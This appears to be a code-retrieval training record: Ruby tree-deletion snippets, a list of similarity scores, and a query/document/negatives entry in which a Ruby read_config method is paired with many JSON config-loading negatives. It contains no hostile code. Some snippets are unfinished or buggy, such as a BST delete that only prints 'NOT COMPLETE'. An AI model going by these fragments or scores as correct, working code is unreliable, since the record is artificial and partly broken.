"def remove_child (child_fei)\n\n i = @children.index(child_fei)\n\n return unless i\n\n @children.delete_at(i)\n raw_children.delete_at(i)\n @raw_rep_updated = true\n\n store_itself\n end",
"def test_delete_node_tree_r_2_nodes\n # Prep\n tree = BST::Tree.new\n val = [8, 10]\n val.each {|v| tree.insert(v)}\n tree.delete(val.last)\n # Test\n _delete_node_tree_hlpr(val, tree)\n end",
"def delete(root, data)\n\t\ttarget = find(root, data) unless data.nil?\n\t\tunless target.nil?\n\t\t\tbrmn = find_bottom_right_most_node(root)\n\n\t\t\tif brmn != target\n\t\t\t\ttarget.title = brmn.title\n\t\t\t\ttarget.rating = brmn.rating\n\t\t\t\t\n\t\t\t\t# remove link to brmn from former parent\n\t\t\t\tunless brmn.parent.nil?\n\t\t\t\t\tif brmn.parent.right.title == brmn.title\n\t\t\t\t\t\tbrmn.parent.right = nil\n\t\t\t\t\telse\n\t\t\t\t\t\tbrmn.parent.left = nil\n\t\t\t\t\tend\n\n\t\t\t\t\tbrmn.parent = nil\n\t\t\t\tend\n\n\t\t\t\tunless target.parent.nil?\n\t\t\t\t\tparent_compare(target, target.parent)\n\t\t\t\tend\n\n\t\t\t\tchild_compare(target)\n\t\t\telse\n\t\t\t\tself.root = nil\n\t\t\tend\n\t\tend\n\tend",
"def delete_invalid_empty_tags!(node)\n\t\t\tnode.children.reject! do |child|\n\t\t\t\tif child.is_a?(TagNode)\n\t\t\t\t\tif child.children.empty? and !@schema.tag_may_be_empty?(child.tag_name)\n\t\t\t\t\t\ttrue\n\t\t\t\t\telse\n\t\t\t\t\t\tdelete_invalid_empty_tags!(child)\n\t\t\t\t\t\tfalse\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tnode\n\t\tend",
"def two_child_delete(node)\n return node if node.left.nil?\n \n until node.nil? do\n return node if node.left.nil?\n node = node.left\n end\n\n end",
"def delete_root(root)\n\t\tif root.nil? or (root.left.nil? and root.right.nil?)\n\t\t\troot = nil\n\t\telse\n\t\t\tif root.right.nil? or (root.left.value < root.right.value)\n\t\t\t\troot.value = root.left.value\n\t\t\t\troot = delete_root(root.left)\n\t\t\telse\n\t\t\t\troot.value = root.right.value\n\t\t\t\troot = delete_root(root.right)\n\t\t\tend\n\t\tend\n\t\troot\n\tend",
"def termdef_unnest_cleanup(xmldoc)\n desgn = \"//p/admitted | //p/deprecates | //p/preferred | //p//related\"\n nodes = xmldoc.xpath(desgn)\n while !nodes.empty?\n nodes[0].parent.replace(nodes[0].parent.children)\n nodes = xmldoc.xpath(desgn)\n end\n end",
"def cut_dead_trees \n @tree_array = @tree_array.select{|tree| tree.perished==false}\n puts \"Your #{\"dead trees\".red} have been removed\"\n end",
"def remove_child(child)\n @children.delete(child.name)\n child.parent = nil\n child\n end",
"def delete(value)\n return \"BST is empty\" if is_empty\n\n parent = nil\n current = @root\n\n while current && current.value != value\n parent = current\n current = current.value > value ? current.left : current.right\n end\n\n return \"Value to delete not found\" if current == nil\n\n if !current.left && !current.right\n parent.left = nil\n parent.right = nil\n end\n\n puts \"NOT COMPLETE\"\n end",
"def remove(value)\n if empty?\n puts EMPTY_TREE\n return\n end\n\n temp = @root\n parent = nil # track parent of current node visited for node reassignment\n\n while !temp.nil? do\n if temp.val > value\n if temp.left.nil?\n puts EMPTY_TREE\n break\n end\n\n parent = temp\n temp = temp.left\n elsif temp.val < value\n if temp.right.nil?\n puts EMPTY_TREE\n break\n end\n\n parent = temp\n temp = temp.right\n else\n # parent 50, temp 80\n # node found\n # 1: if x == leaf node, remove\n if !temp.left && !temp.right\n if !parent # deleting root node\n @root = nil\n elsif parent.left&.val == temp.val # temp is left child of parent\n parent.left = nil\n else # temp is right child of parent\n parent.right = nil\n end\n # 2: if x has one RIGHT child, child is now where x is, remove x\n elsif !temp.left\n if !parent # deleting root node\n @root = temp.right\n elsif parent.left&.val == temp.val # temp is left child of parent\n parent.left = temp.right # parent's new left node is the right child of temp\n else\n parent.right = temp.right\n end\n # 2: if x has one LEFT child, child is now where x is, remove x\n elsif !temp.right\n if !parent\n @root = temp.left\n elsif parent.left&.val == temp.val\n parent.left = temp.left\n else\n parent.right = temp.left\n end\n # 3: if x has two children, get min inorder value in the right subtree\n else\n successor_value = minInorderNode(temp.right)\n remove(successor_value)\n temp.val = successor_value\n end\n break\n end \n end\n end",
"def drop_text?(child); end",
"def children; []; end",
"def remove_child(component)\n @children.delete(component)\n component.parent = nil\n end",
"def finish\n @children.each { |kid| \n kid[:link].finish()\n kid[:link] = nil\n kid[:residue].finish()\n kid[:residue] = nil\n }\n\n @ring_positions.each { |pos,node| \n node.finish()\n }\n\n remove_relations\n \n end",
"def clear_nodes\n\t\t\t@tree = []\n\t\t\t@node_stack = [ @tree ]\n\t\tend",
"def delete_element(tree, item)\n verbose_delete = false\n x = nil # sub-tree object containing node to be deleted\n x_successor = nil # sub-tree object - in-order successor to x (or predecessor)\n parent = nil # sub-tree object - parent of x, or soon its successor\n subtree = nil # sub-tree object - subtree of x before deletion\n found = false\n\n found, x, parent = bst_search(tree, item)\n\n if L.debugging && verbose_delete\n puts \"Element to be deleted was found: #{found}\"\n puts \"Sub-tree whose node has to be deleted: #{x}\"\n puts \"\"\n puts \"Parent of sub-tree whose node has to be deleted: #{parent}\"\n puts \"\"\n end\n\n return [false, tree] if ! found # no point in going further\n\n if x.left_child && x.right_child\n if L.debugging && verbose_delete\n puts \"item to be deleted #{item.data} has 2 children\"\n puts \"left_child: #{x.left_child.node.data}\"\n puts \"right_child: #{x.right_child.node.data}\"\n puts \"\"\n end\n # item to be deleted has 2 children\n # find in-order successor (predecessor) and its parent\n # to do so as per book page 469 - start with right child of x\n # then descend left as far as possible\n x_successor = x.right_child\n parent = x\n if L.debugging && verbose_delete\n puts \"x_successor: #{x_successor.node.data}\"\n puts \"parent: #{parent.node.data}\"\n puts \"---- descending left ---\"\n end\n while x_successor.left_child # descending left until last left child\n parent = x_successor\n x_successor = x_successor.left_child\n if L.debugging && verbose_delete\n puts \"x_successor: #{x_successor.node.data}\"\n puts \"parent: #{parent.node.data}\"\n end\n end\n\n # move content of x_successor to x, and change x to point\n # to x_successor - which will be deleted after swap\n x.node.data = x_successor.node.data\n x = x_successor\n\n if L.debugging && verbose_delete\n puts \"x data updated: #{x.node.data}\"\n end\n end\n\n # now proceed with case as if we had 0 or 1 child - book p. 466\n subtree = x.left_child\n subtree ||= x.right_child # if left child is nil, use right child\n if L.debugging && verbose_delete\n puts \"subtree: #{subtree}\"\n puts \"\"\n end\n\n if parent == nil\n # root is being deleted, the subtree becomes root\n tree = subtree # changing root tree to be the subtree when returned\n tree.height = 1\n tree.parent = nil\n if L.debugging && verbose_delete\n puts \"root is being deleted subtree is new root(updated values): #{subtree}\"\n tree.show_me_descendants_traverse(tree, tree.node)\n end\n tree.descendants_traverse(tree, tree.node) do |t|\n if L.debugging && verbose_delete\n puts \"////\"\n puts \"inside tree: #{t.node.data}\"\n puts \"inside tree old height: #{t.height}\"\n end\n t.height = t.parent.height+1 if t.parent\n if L.debugging && verbose_delete\n puts \"inside tree new height: #{t.height}\"\n puts \"////\"\n end\n end\n elsif parent.left_child == x\n parent.left_child = subtree\n if parent.left_child # the subtree could be nil\n parent.left_child.parent = parent\n parent.left_child.height = parent.height+1\n if L.debugging && verbose_delete\n puts \"parent left child gets the subtree(updated values): #{parent.left_child}\"\n parent.show_me_descendants_traverse(parent, parent.node)\n end\n parent.descendants_traverse(parent, parent.node) do |t|\n if L.debugging && verbose_delete\n puts \"////\"\n puts \"inside tree: #{t.node.data}\"\n puts \"inside tree old height: #{t.height}\"\n end\n t.height = t.parent.height+1\n if L.debugging && verbose_delete\n puts \"inside tree new height: #{t.height}\"\n puts \"////\"\n end\n end\n end\n else\n parent.right_child = subtree\n if parent.right_child # the subtree could be nil\n parent.right_child.parent = parent\n parent.right_child.height = parent.height+1\n if L.debugging && verbose_delete\n puts \"parent right child gets the subtree(updated values): #{parent.right_child}\"\n parent.show_me_descendants_traverse(parent, parent.node)\n end\n parent.descendants_traverse(parent, parent.node) do |t|\n if L.debugging && verbose_delete\n puts \"////\"\n puts \"inside tree: #{t.node.data}\"\n puts \"inside tree old height: #{t.height}\"\n end\n t.height = t.parent.height+1\n if L.debugging && verbose_delete\n puts \"inside tree new height: #{t.height}\"\n puts \"////\"\n end\n end\n end\n end\n\n x.right_child = nil\n x.left_child = nil\n x.parent = nil\n x.node = nil\n\n return [true, tree] # tree is always the Root tree, even after old root gets deleted\n end",
"def remove_children(relation = nil)\n if !relation\n for rel in sorted_relations\n remove_children(rel)\n end\n return\n end\n\n children = child_objects(relation).to_a\n for child in children\n remove_child_object(child, relation)\n end\n\tend",
"def optimize!\n return nil if @root == nil\n @root.prune\n @root = @root.balance\n end",
"def destroy\n super do\n graph.delete [source.to_term, nil, nil]\n parent.delete [parent, nil, source.to_term]\n end\n end",
"def delete(root, data)\n\t\ttarget = find(root, data) unless data.nil?\n\n\t\tunless target.nil?\n\t\t\tbrmn = find_bottom_right_most_node(root)\n\n\t\t\tif brmn != target\n\t\t\t\ttarget.value = brmn.value\n\t\t\t\t\n\t\t\t\t# remove link to brmn from former parent\n\t\t\t\tunless brmn.parent.nil?\n\t\t\t\t\tif brmn.parent.right.value == brmn.value\n\t\t\t\t\t\tbrmn.parent.right = nil\n\t\t\t\t\telse\n\t\t\t\t\t\tbrmn.parent.left = nil\n\t\t\t\t\tend\n\n\t\t\t\t\tbrmn.parent = nil\n\t\t\t\tend\n\n\t\t\t\tunless target.parent.nil?\n\t\t\t\t\tparent_compare(target, target.parent)\n\t\t\t\tend\n\n\t\t\t\tchild_compare(target)\n\t\t\telse\n\t\t\t\tself.root = nil\n\t\t\tend\n\t\tend\n\tend",
"def delete\n if self.father\n if self.is_left_son?\n self.father.copy(self.father.right_sentence)\n elsif self.is_right_son?\n self.father.copy(self.father.left_sentence)\n end\n aux = self.father\n while aux != nil\n aux.update\n aux = aux.father\n end\n return true\n else\n return false\n end\n end",
"def clean(id)\n path(id).dirname.ascend do |pathname|\n if pathname.children.empty? && pathname != directory\n pathname.rmdir\n else\n break\n end\n end\n end",
"def remove(v)\n return unless @root\n @count -= 1 if @root.remove(v)\n @root = @root.left if @root.type == 1\n end",
"def delete(value)\n\t \n if @root == nil \n return false\n end\n \n #Obtenemos el nodo a remover\n\t toRemove = selectElement(value,@root)\n \n ## Mandamos a buscar al padre del nodo\n father = getFather(value,@root,toRemove)\n \n if !isLeaft(toRemove,father) ## remueve elemento al encontrarlo y sea hoja\n promote(toRemove,father) ##Verificamos si es hijo unico\n end\n \n return true\n end",
"def detach_from_parent\n return nil if parent.nil? # root\n oci = own_child_index\n parent.children.delete_at(oci) if oci\n self.parent = nil\n oci\n end",
"def delete(value, node = root)\n return node if node.nil?\n \n if value < node.data\n node.left = delete(value, node.left)\n elsif value > node.data\n node.right = delete(value, node.right)\n else\n # si el nodo tiene un o ningún hijo\n return node.right if node.left.nil?\n return node.left if node.right.nil?\n \n # si el nodo tiene 2 hijos\n leftmost_node = leftmost_leaf(node.right)\n node.data = leftmost_node.data\n node.right = delete(leftmost_node.data, node.right)\n end\n node\n end",
"def update_tree(element)\n last_blank = nil\n element.children.map! do |child|\n if child.type == :raw_text\n last_blank = nil\n reset_env(src: ::Kramdown::Utils::StringScanner.new(child.value, element.options[:location]),\n text_type: :text)\n parse_spans(child)\n child.children\n elsif child.type == :eob\n update_attr_with_ial(child.attr, child.options[:ial]) if child.options[:ial]\n []\n elsif child.type == :blank\n if last_blank\n last_blank.value << child.value\n []\n else\n last_blank = child\n child\n end\n else\n last_blank = nil\n update_tree(child)\n update_attr_with_ial(child.attr, child.options[:ial]) if child.options[:ial]\n # DEPRECATED: option auto_id_stripping will be removed in 2.0 because then this will be\n # the default behaviour\n if child.type == :dt || (child.type == :header && @options[:auto_id_stripping])\n update_raw_text(child)\n end\n child\n end\n end.flatten!\n end",
"def delete_from(value)\n L.log '', \"Attempting to delete #{value} from BST\"\n outcome, new_root = @root_tree.delete_element(@root_tree, Node.new(value))\n @root_tree = new_root\n display_tree\n return outcome\n end"
] |
[
"0.7100007",
"0.705259",
"0.6893871",
"0.68154705",
"0.66956043",
"0.6646522",
"0.66318303",
"0.6615858",
"0.6603389",
"0.6541945",
"0.65344673",
"0.6487312",
"0.64776355",
"0.64569944",
"0.6451546",
"0.64353853",
"0.64272636",
"0.64166486",
"0.6415475",
"0.6396895",
"0.6362116",
"0.6361471",
"0.6321273",
"0.6285049",
"0.62668735",
"0.6232884",
"0.6222283",
"0.61781085",
"0.6176345",
"0.6137298",
"0.613675",
"0.6114079",
"0.6113847",
"0.6109963",
"0.6090383",
"0.6076222",
"0.6026071",
"0.6015278",
"0.6004487",
"0.59847915",
"0.59833497",
"0.5978971",
"0.5967602",
"0.5963383",
"0.59591883",
"0.595332",
"0.5951434",
"0.59513456",
"0.594739",
"0.59463006",
"0.59238565",
"0.59106433",
"0.5895813",
"0.589544",
"0.58874714",
"0.58869886",
"0.58738184",
"0.58546615",
"0.5854177",
"0.5849655",
"0.58488035",
"0.58301747",
"0.58182913",
"0.58005756",
"0.5794421",
"0.5781319",
"0.5759427",
"0.57568693",
"0.5748689",
"0.57449514",
"0.5734139",
"0.5728529",
"0.57175994",
"0.5699213",
"0.56893647",
"0.5688167",
"0.56812066",
"0.5679392",
"0.56785274",
"0.5667895",
"0.5667322",
"0.5665314",
"0.5658081",
"0.5655868",
"0.56552577",
"0.5655221",
"0.5646736",
"0.5643",
"0.5639583",
"0.5637013",
"0.5631762",
"0.562854",
"0.56226873",
"0.56219435",
"0.56213176",
"0.5620413",
"0.5619571",
"0.5616997",
"0.56139076",
"0.5612665"
] |
0.7773698
|
0
|
Open and parse the JSON config file
|
def read_config(config_file)
begin
file = File.read(config_file)
parsed_config = JSON.parse(file)
rescue
abort("ERROR: Error parsing configuration file #{config_file}. " \
'Does it exist and is it valid JSON?')
end
parsed_config
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse\n checkArguments\n configContent = File.read(ARGV[0])\n @config = JSON.parse(configContent)\n checkConfig\n end",
"def parse_config_file\n JSON.parse(File.read(CONFIG_FILE))\n rescue Errno::ENOENT\n abort \"#{CONFIG_FILE} does not exist\"\n rescue Errno::EACCES\n abort \"#{CONFIG_FILE} can't be read\"\n rescue JSON::ParserError\n abort \"#{CONFIG_FILE} is not valid JSON\"\n end",
"def get\n if File.exist?(@config_file)\n file = File.read(@config_file)\n @config = JSON.parse(file)\n end\n @config\n end",
"def parsed_config\n @parsed_config ||= begin\n JSON.parse(config[:json_config], symbolize_names: true)\n rescue JSON::ParserError\n JSON.parse(File.read(config[:json_config]),\n symbolize_names: true)\n end\n end",
"def scanConfig()\n configFile = @basePath + \".config.json\" ;\n open(configFile,\"r\"){|strm|\n @config = JSON.load(strm.read()) ;\n }\n return @config ;\n end",
"def read_config_file\n config_hash = {}\n if File.file? @config_file\n begin\n config_hash = JSON.parse(File.read(@config_file))\n rescue StandardError => e\n raise ConfigError.new(\"parsing configuration file: #{e}\")\n end\n end\n config_hash\n end",
"def parse_config_file config_path\n File.open(config_path, \"r\") do |file|\n case File.extname(file).delete(\".\")\n when \"json\" then JSON.parse(file.read)\n when \"yml\" then YAML.load_file(file)\n else\n file.close\n raise LoadError, \"Type of file is not supported.\"\n end\n end\n end",
"def config\n path = config_path\n @config ||= path.exist? ? JSON.parse(path.read) : {}\n end",
"def load_config\n self.config = JSON.load(self.data)\n end",
"def load_config\n self.config = JSON.load(self.data)\n end",
"def load_config\n self.config = JSON.load(self.data)\n end",
"def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end",
"def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end",
"def parse json; return JSON.parse File.read json end",
"def parse json; return JSON.parse File.read json end",
"def read_from_json\n JSON.parse File.new(@filepath).read\n end",
"def load_config\n path = File.expand_path(@config_path)\n\n if File.exist?(path)\n file = File.new(path, \"r\")\n @config = MultiJson.decode(file.read)\n else\n load_default_config\n end\n end",
"def read\n file = File.read(@filename)\n JSON.parse(file)\n end",
"def read\n return nil unless File.file?(\"./#{filename}\")\n JSON.parse(IO.read(filename))\n end",
"def read_json_file(path)\n JSON.parse(File.open(path){ |f| f.read })\nend",
"def load_json(filename); end",
"def read_config_file; end",
"def parse\n file = File.read(@file)\n @data = JSON.parse(file)\n end",
"def read_config_file(file); end",
"def read\n raise Errors::FileMissing, @pathname unless @pathname.exist?\n\n JSON.parse(\n @pathname.read,\n symbolize_names: true\n )\n rescue JSON::ParserError => e\n raise Errors::ParserError, e\n end",
"def read_jason(file_path)\r\n json_file = File.read(file_path)\r\n data_hash = JSON.parse(json_file)\r\n return data_hash\r\nend",
"def parse_ini_file(ini_file_content)\n if Rails.env.production?\n data_json = `python26 #{File.dirname(__FILE__)}/ini_parser.py #{ini_file_content.shellescape}`\n else\n data_json = `python #{File.dirname(__FILE__)}/ini_parser.py #{ini_file_content.shellescape}`\n end\n data = JSON.parse(data_json)\n return data\n end",
"def configfile_hash\n\n config = {}\n begin\n json = File.read(configfile)\n config = JSON.parse(json)\n rescue Errno::ENOENT\n # depending on whether the instance has been saved or not, we may not\n # yet have a configfile - allow to proceed\n @logger.debug \"#{configfile} does not exist\"\n @force_save = true\n rescue JSON::ParserError\n # swallow parse errors so that we can destroy and recreate automatically\n @logger.debug \"JSON parse error in #{configfile}\"\n @force_save = true\n end\n config\n end",
"def load_config(path)\n json = JSON.parse( File.binread(path) )\n\n $SETTINGS = {}\n $SETTINGS[:SRCS] = json['SRCS'].collect { |src| File.expand_path(src) }\n $SETTINGS[:IMG_RESIZE] = json['IMG_RESIZE']\n $SETTINGS[:USERNAME] = json['USERNAME']\n $SETTINGS[:PASSWORD] = json['PASSWORD']\n $SETTINGS[:BIND] = json['BIND']\n $SETTINGS[:PORT] = json['PORT']\n $SETTINGS[:DEFAULT_IMAGE_QUALITY] = json['DEFAULT_IMAGE_QUALITY']\n $SETTINGS[:DEFAULT_IMAGE_WIDTH] = json['DEFAULT_IMAGE_WIDTH']\n $SETTINGS[:DEFAULT_IMAGE_HEIGHT] = json['DEFAULT_IMAGE_HEIGHT']\n $SETTINGS[:BOOKMARKS_FILE] = File.expand_path( json['BOOKMARKS_FILE'] )\nend",
"def parse_config_file(file)\n return {} unless File.exist?(file)\n\n case File.extname(file)\n when /\\.conf$/i\n parse_conf_file(file)\n when /\\.json$/i\n Oj.load_file(file, mode: :strict, symbol_keys: true)\n when /\\.ya?ml$/i\n begin\n require 'safe_yaml/load'\n SafeYAML.load_file(file) || {}\n rescue LoadError\n # Re-raise with a more descriptive message. This should generally\n # abort the configuration loading.\n raise LoadError.new(%{Could not load the requested resource. Please install the 'safe_yaml' gem via\nBundler or directly, and try loading again.\n})\n end\n end\n end",
"def config_from_file(path, mode:)\n multi_env_config = load_json(path)\n multi_env_config.fetch('all', {})\n .merge(multi_env_config.fetch(mode, {}))\n rescue Errno::ENOENT => error\n warn \"Check that your vite.json configuration file is available in the load path:\\n\\n\\t#{ error.message }\\n\\n\"\n {}\n end",
"def openJsonFile(filepath)\n $file = File.open filepath\n $jsonObjectMain = JSON.load $file\n return $jsonObjectMain\nend",
"def read_and_parse_file(path)\n json = JSON.parse(File.read(path))\n recursive_symbolize_keys!(json)\n end",
"def initialize(filename = \"#{File.dirname(__FILE__)}/../conf/config.json\")\n if filename.instance_of?(Hash)\n @filename = nil\n @pjson = filename\n else\n @filename = filename\n json = File.read(filename)\n @pjson = JSON.parse(json)\n end\n end",
"def parse_from_file\n parsed_opts = YAML.load_file(config_path)\n parsed_opts.delete_if{|k| k.to_s == 'config_path'}\n parsed_opts.each_pair{|k,v| self[k] = v}\n true\n rescue Errno::ENOENT\n false\n end",
"def read_json_file(filepath)\n file = File.open(filepath)\n file_data = file.read\n return JSON.parse(file_data)\nend",
"def parse\n JSON.parse(raw)\n rescue RuntimeError\n raise \"cannot read from #{path}\"\n end",
"def parse(config_file)\n open(config_file) do |f|\n parse_string(f.read, config_file)\n end\n end",
"def load_options(path)\n path = File.expand_path path\n if File.exists? path\n JSON.parse(File.read path)\n else\n {}\n end\nend",
"def json(*files, **options, &block) = read(*files, parse: :json, ext: '.json', **options, &block)",
"def get_config_from_file(filename)\n # Try to load the file from disk\n begin\n # Determine the extension\n ext = File.extname(filename)\n # Use the correct loader\n if ext == \".yml\"\n data = YAML.load_file(filename)\n elsif ext == \".json\"\n json = File.read(filename)\n data = JSON.parse(json)\n end\n rescue Exception => e\n raise \"Error loading file: #{filename} #{e}\"\n end\n\n # Fix up empty files\n if data.nil? or data == false\n warn \"Could not load configuration from '#{Config.config_files}'; it might be empty or malformed.\"\n data = {}\n end\n return data\n end",
"def load_json(file)\n type = File.basename(file, File.extname(file)).to_sym\n JSON.parse(File.read(file)).each do |allocation, settings|\n next if allocation == \"_\"\n\n settings.reject! { |k, _| k.start_with?(\"_\") }\n host = settings.delete(\"host\")\n host = intern_string(host) if host\n options = if settings.empty?\n EMPTY_HASH\n else\n settings.map { |k, v| [k.to_sym, v.is_a?(String) ? intern_string(v) : v] }.to_h.freeze\n end\n define(type, allocation, host, options)\n end\n end",
"def parse_config_file(path)\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end",
"def parse_json_file(json_file)\n json = File.read(json_file)\n obj = JSON.parse(json)\n return obj\n end",
"def conf\n @c ||= JSON.load(File.read('/etc/knife-kvm/config.json'))\nend",
"def parse_scenario_file(scenario_id)\n JSON.parse(File.read(File.join('config', 'scenarios', scenario_id + '.json')))\nend",
"def read_file_level_settings\n cdjf = corresponding_data_json_file\n return {} if cdjf.nil?\n cdjf.read_settings\n end",
"def read_JSON_file # called a helper method (is helping you to use less code and dealing with something so that your other methods don't have to)\n @json_data = File.read('./lib/contacts.json')\n @contacts = JSON.parse(@json_data, {:symbolize_names => true})\n end",
"def get_json(name)\n r = {}\n open_file(name) do |f|\n r = JSON.parse(f.read)\n yield r if block_given?\n end\n r\n end",
"def load_json(dir_path, filename)\n file_path = File.join(dir_path, filename)\n JSON.parse(File.read(file_path))\n end",
"def _parse(config_file)\r\n unless File.readable?(config_file)\r\n raise Compass::Error, \"Configuration file, #{config_file}, not found or not readable.\"\r\n end\r\n open(config_file) do |f|\r\n parse_string(f.read, config_file)\r\n end\r\n end",
"def parse_json(filename)\n\tfile = File.read(filename)\n\tbegin\n \t\tdata_hash = JSON.parse(file)\n\trescue JSON::ParserError\n\t\tfile = nil\n\tend\n\tdata_hash\n end",
"def parse_json(json_file)\r\n\t\t\tjfile = File.read(json_file)\r\n\t\t\treturn JSON.parse(jfile)\r\n\t\tend",
"def parse_json str\n JSON.parse str rescue raise ConfigError, \"Invalid JSON\"\n end",
"def read_input_file\n\t\tbegin \n\t\t\tfile = File.read('data.json')\n\t\t\tjson_info = JSON.parse(file)\n\t\t\t\n\t\t\t#getting cars and rentals information\n\t\t\t@cars = json_info[\"cars\"]\n\t\t\t@rentals = json_info[\"rentals\"]\n\t\trescue Exception => e \n\t\t\tputs \"Error trying to read the input file!\" \n\t\t\tputs e.message\n\t\tend\n\tend",
"def load_hash(file_path) \n file=File.read(file_path)\n JSON.parse(file)\n end",
"def load_hash(file_path) \n file=File.read(file_path)\n JSON.parse(file)\n end",
"def read_json(path)\n return JSON.parse(File.read(path).rstrip)\nend",
"def read_json(path)\n return JSON.parse(File.read(path).rstrip)\nend",
"def load_from_file(dir, file=\"/specs.def\")\n JSON.parse(IO.read(File.join(dir, file))) rescue raise ArgumentError\n end",
"def read_json j_file\n data = nil\n open(j_file) do |f|\n data = f.read\n end\n j = JSON.parse(data)\n\n return j\nend",
"def read_tasks\n JSON.parse(File.read(\"tasks.json\"))\nend",
"def load_json(filename)\n File.open(File.expand_path(\"../support/#{filename}\", __FILE__), \"r\") do |json_file|\n JSON.load(json_file)\n end\nend",
"def parse_config \n path = \"#{Rails.root}/config/mebla.yml\"\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end",
"def open_data(file)\n @data = JSON.parse(IO.readlines(file).join)\n end",
"def load_config\n cfg = File.open(CONFIG) { |yf| YAML::load( yf ) } if File.exists?(CONFIG)\n # => Ensure loaded data is a hash. ie: YAML load was OK\n if cfg.class != Hash\n raise \"ERROR: Configuration - invalid format or parsing error.\"\n else\n if cfg['login'].nil?\n raise \"ERROR: Configuration: login not defined.\"\n end\n end\n\n return cfg\nend",
"def get_json\n recipe_json = File.read('./recipes.json')\n @json_recipes = JSON.parse(recipe_json)\n end",
"def read_json\n file = File.read('townhall.json')\n jason = JSON.parse(file)\n return jason\nend",
"def load_file(file_name)\n File.open(file_name, 'r') do |f|\n f.each_line.collect do |line|\n parse_json(line)\n end\n end\n end",
"def load_file(file_name)\n File.open(file_name, \"r\") do |f|\n f.each_line.collect do |line|\n parse_json(line)\n end\n end\n end",
"def load!\n JSON.load(File.read(@name))\n rescue JSON::ParserError => e\n raise LogFile::LoadError, e.message\n end",
"def scanJsonFile(_jsonFile)\n open(_jsonFile,\"r\"){|strm|\n scanJsonString(strm.read()) ;\n }\n end",
"def parse_config\n %w(/etc/steel/steel.yml steel.yml).each do |cfg|\n if File.exist?(cfg)\n begin\n y = YAML.load_file(cfg)\n rescue Psych::SyntaxError => e\n error \"[#{e.class}] Failed to parse '#{cfg}'!!\"\n error e.message\n exit 1\n end\n # Merge the contents of the config into @config.\n config.merge!(y)\n end\n end\n end",
"def config_read\n f = File.expand_path(CONFIG_FILE)\n return unless File.readable? f\n\n hash = loadYML(f)\n @used_dirs = hash['DIRS']\n @visited_files = hash['FILES']\n @bookmarks = hash['BOOKMARKS']\n @used_dirs.concat get_env_paths\nend",
"def parse_config(config); end",
"def parse(file_path)\n settings = YAML.load_file(file_path)\n load(settings[\"client\"])\n end",
"def load_json(filename)\n begin\n File.open(filename, \"r\" ) do |f|\n JSON.load(f)\n end\n rescue Errno::ENOENT, TypeError => e\n puts \"You must supply a valid filename: #{e.message}\"\n exit\n end\nend",
"def load\n if File.exist?(@base_file)\n string = File.read(@base_file)\n obj = JSON.parse(string)\n else\n obj = {\n \"target\" => {},\n \"tester\" => {\n \"software\" => \"dolphin\",\n \"version\" => 0.1,\n },\n \"human\" => \"anonymous coward\"\n }\n end\n @config = HashTree[obj]\n\n if File.exist?(@completions_file)\n string = File.read(@completions_file)\n obj = JSON.parse(string)\n else\n obj = []\n end\n @completions = Set.new(obj)\n\n # in case there were manual edits to the file,\n # do completions\n @config.traverse do |node|\n self.add_terms(node.keys)\n node.values.each do |v|\n if v.is_a? String\n self.add_terms(v)\n end\n end\n end\n\n @config.each_path do |path|\n self.add_terms(path.join(\".\"))\n end\n end",
"def read_unicorns\n JSON.parse(File.read(\"unicorns.json\"))\nend",
"def load(file)\n data = File.read(file)\n JSONL.parse(data)\n end",
"def parse_json_file(file_path_as_string)\n\n begin\n\n @parsed_data = JSON.load_file(file_path_as_string, symbolize_names: true)\n\n rescue Errno::ENOENT => e\n puts Rainbow(\"\\n\\nWell now.... file appears to be missing..... I wonder where it went ?\").yellow\n sleep 1\n error_message_and_leave(e)\n\n rescue Errno::EACCES => e\n puts Rainbow(\"\\n\\nSo you haven't got permission for this file.... Dunno why.... Guess you're not at Level 8 Clearance..\").yellow\n sleep 1\n error_message_and_leave(e)\n\n rescue StandardError => e\n puts Rainbow(\"\\n\\nAwkies.... the file is not loading.... probably a user error :) \").yellow\n sleep 1\n error_message_and_leave(e)\n\n end\n\n end",
"def read_json\n if project.source_exists?\n JSON.parse(File.read(project.project_path))\n else\n []\n end\n end",
"def config_load(config); end",
"def read_configuration(filename)\n raise GaudiConfigurationError, \"Cannot load configuration.'#{filename}' not found\" unless File.exist?(filename)\n\n lines = File.readlines(filename)\n cfg_dir = File.dirname(filename)\n begin\n cfg = parse_content(lines, cfg_dir, *keys)\n rescue GaudiConfigurationError\n raise GaudiConfigurationError, \"In #{filename} - #{$!.message}\"\n end\n\n return cfg\n end",
"def read_config filename # {{{\n\n # Pre-condition check\n raise ArgumentError, \"Filename argument should be of type string, but it is (#{filename.class.to_s})\" unless( filename.is_a?(String) )\n\n # Main\n @log.message :debug, \"Loading this config file: #{filename.to_s}\"\n result = File.open( filename, \"r\" ) { |file| YAML.load( file ) } # return proc which is in this case a hash\n result = hashes_to_ostruct( result ) \n\n # Post-condition check\n raise ArgumentError, \"The function should return an OpenStruct, but instead returns a (#{result.class.to_s})\" unless( result.is_a?( OpenStruct ) )\n\n result\n end",
"def load_config_file\n require 'yaml'\n YAML.load_file(@path)\n rescue Errno::ENOENT\n return\n end",
"def data\n YAML::load_file(files[:config])\n end",
"def readJson(dataFilePath)\n dataFile = File.new(dataFilePath, \"r\");\n data = JSON.load(dataFile);\n dataFile.close();\n data;\nend",
"def run\n super\n\n f = _get_entity_name\n\n # Read and split the file up\n begin\n json = JSON.parse (File.open(f,\"r\").read)\n rescue JSON::ParserError => e\n _log_error \"Unable to parse, failing...\"\n return\n end\n\n\n\n\n\n end",
"def evolution_data\n## reads evolution json (1-120 digimons) and parses\nevo_file = File.read(\"#{__dir__}/../dh-data/json/tree-0002-0120.json\")\nevo_data = JSON.parse(evo_file)\nend",
"def json(file_path)\n raise(format(ERROR_EXT_NOT_JSON, file_path)) unless json?(file_path)\n\n content = read_file(file_path)\n JSON.parse(content)\n end",
